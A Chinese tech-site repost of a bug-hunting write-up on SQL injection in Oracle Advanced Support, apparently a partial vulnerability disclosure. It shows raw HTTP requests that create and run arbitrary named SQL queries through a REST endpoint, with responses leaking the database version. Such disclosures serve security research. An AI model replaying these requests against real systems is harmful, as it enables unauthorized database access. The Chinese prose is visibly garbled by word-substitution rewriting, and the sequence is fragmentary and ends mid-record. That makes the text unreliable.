作家
登录

Oracle Advanced Support系统SQL注入漏洞挖掘经验分享

作者: 来源: 2017-09-08 08:56:34 阅读 我要评论

  • A system error has occurred: MessageBodyWriter not found for media type=text/plain, type=class com.oracle.acs.gateway.model.NamedSQL, genericType=class com.oracle.acs.gateway.model.NamedSQL. [S2VF2VI] 
  • 我们仍然大年夜办事器获得了一个缺点返回,然则只返回了content-type。SQL语句可能已经被创建了。经由过程把名称字段设为“test”, 让我们测验测验第一个具有参数的GET请求。

    我们获得一个关于SQL_NAME列的缺点,当我们在包体中包含空的json对象时这不是很不测。如今我们在包体里参加一个随机的属性名和数值。

    1. HTTP Request: 
    2. GET /rest/data/sql/test HTTP/1.1 
    3. Host: host 
    4. Connection: close 
    5. Accept: application/json;charset=UTF-8 
    6. Accept-Encoding: gzip, deflate, sdch 
    7. Accept-Language: en-US,en;q=0.8 
    8. Content-Type: application/json;charset=UTF-8 
    9. Content-Length: 0 
    10. HTTP Response: 
    11. HTTP/1.1 200 OK  
    12. Content-Type: application/json; charset=UTF-8 
    13. Content-Length: 24 
    14. Connection: close 
    15. [{"@@version":"5.5.37"}] 

    看这里!我们获得了一些SQL履行。

    看一下“我们”是谁。

    1. HTTP Request: 
    2. POST /rest/data/sql HTTP/1.1 
    3. Host: host 
    4. Connection: close 
    5. Accept: */* 
    6. Accept-Encoding: gzip, deflate, sdch 
    7. Accept-Language: en-US,en;q=0.8 
    8. Content-Length: 101 
    9. Content-Type: application/json;charset=UTF-8 
    10.     "name": "test2", 
    11.     "sql":"SELECT USER from dual;", 
    12.     "dataSourceJNDI":"jdbc/portal" 
    13. HTTP Request: 
    14. GET /rest/data/sql/test2 HTTP/1.1 
    15. Host: host 
    16. Connection: close 
    17. Accept: application/json;charset=UTF-8 
    18. Accept-Encoding: gzip, deflate, sdch 
    19. Accept-Language: en-US,en;q=0.8 
    20. Content-Type: application/json;charset=UTF-8 
    21. Content-Length: 0 
    22. HTTP Response: 
    23. HTTP/1.1 200 OK  
    24. Content-Type: application/json; charset=UTF-8 
    25. Content-Length: 19 
    26. Connection: close 

        推荐阅读

        解读大数据行业在2017年的新发展

      跟着科技的进步,大年夜数据大年夜科学前沿逐渐深刻到各行业。2017年中国的大年夜数据行业有什么新动态?大年夜数据行颐魅整体市场范围若何?大年夜数据行业前景若何?若何助力企业成长?今日的比格数据,我们来一路解读>>>详细阅读


      本文标题:Oracle Advanced Support系统SQL注入漏洞挖掘经验分享

      地址:http://www.17bianji.com/lsqh/37236.html

    关键词: 探索发现

    乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

    网友点评
    自媒体专栏

    评论

    热度

    精彩导读
    栏目ID=71的表不存在(操作类型=0)